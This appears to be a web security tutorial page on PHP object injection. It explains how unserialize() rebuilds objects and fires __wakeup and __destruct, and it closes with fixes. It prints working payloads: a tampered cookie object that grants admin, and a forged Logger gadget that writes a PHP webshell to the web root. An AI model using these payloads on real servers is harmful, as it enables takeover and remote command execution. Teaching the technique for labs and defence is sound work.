Insecure Deserialization: From Serialized Blob to Remote Code Execution
PHP Object Injection
How PHP object injection works: unserialize() rebuilds objects and fires __wakeup and __destruct, so a forged serialized string reaches a dangerous sink.
Published
PHP object injection is the cleanest introduction to deserialization because the format is human-readable and you craft the payload by hand. unserialize() on attacker input lets you forge an object of any loaded class, and its magic methods fire automatically. This page covers building that payload. Practice on a free live target.
How unserialize() rebuilds objects
PHP's serialize() produces a length-prefixed text format, and unserialize() rebuilds the object from it. A simple object looks like this:
O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:0;}Read it as: O:4:"User" is an object of the 4-byte class User, with 2 properties, then each property as a name string and a value. s:3:"bob" is a 3-byte string, b:0 is boolean false. Because you control this text, you control the rebuilt object.
The magic methods that fire automatically
Two lifecycle hooks make object injection dangerous:
__wakeup()runs duringunserialize(), as the object is rebuilt.__destruct()runs when the object is destroyed, usually at the end of the request.
Both fire without the application calling them, so if a class with one of these hooks does something dangerous with its properties, forging that object is enough to trigger it.
Tamper first, then forge a gadget
Start by proving you can change the rebuilt object. If a session cookie holds the User above, flip isAdmin:
O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:1;}If the app trusts the deserialized object, you are now admin. The bigger prize is a gadget. Suppose the app also loads this class:
class Logger {
public $logfile = 'app.log';
public $data = '';
public function __destruct() {
file_put_contents($this->logfile, $this->data); // attacker-controlled sink
}
}You never instantiate Logger yourself, but you can forge one in the deserialized input, choosing both properties. Write a webshell to the web root:
O:6:"Logger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}Count the lengths: Logger is 6 bytes, logfile is 7, /var/www/html/shell.php is 23, data is 4, and <?php system($_GET[0]); ?> is 26. When the request ends, PHP destroys the forged object, __destruct() runs, and the webshell lands at /var/www/html/shell.php.
Property-oriented programming (POP) chains
A single gadget is lucky. Usually you chain: one class's magic method calls a method on a property object, which calls another, until the chain reaches a sink. That is property-oriented programming, covered in magic methods and gadget chains. You build the chain by setting a gadget's property to another forged object.
Edge variants
O:6:"Logger":2:{...} __destruct write-file gadget (above)
__wakeup gadget same idea, fires during unserialize() instead of at destruction
private property \x00Class\x00prop private names are mangled with null bytes in the serialized string
nested object property s:4:"next";O:5:"Chain":... build a POP chain by nesting objectsPrivate and protected properties serialize with null-byte-mangled names (\x00ClassName\x00prop for private, \x00*\x00prop for protected), which you must reproduce exactly, including those null bytes, in the payload.
Fixing it
- Never
unserialize()untrusted input. Usejson_decode()into arrays for client data. - If you must, pass
allowed_classestounserialize()to block object instantiation. - Integrity-protect serialized data (HMAC, verified before parsing) so a forged blob is rejected.
Full guidance is in preventing insecure deserialization. Next, move to the binary world in Java deserialization, or forge an object on a free lab.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution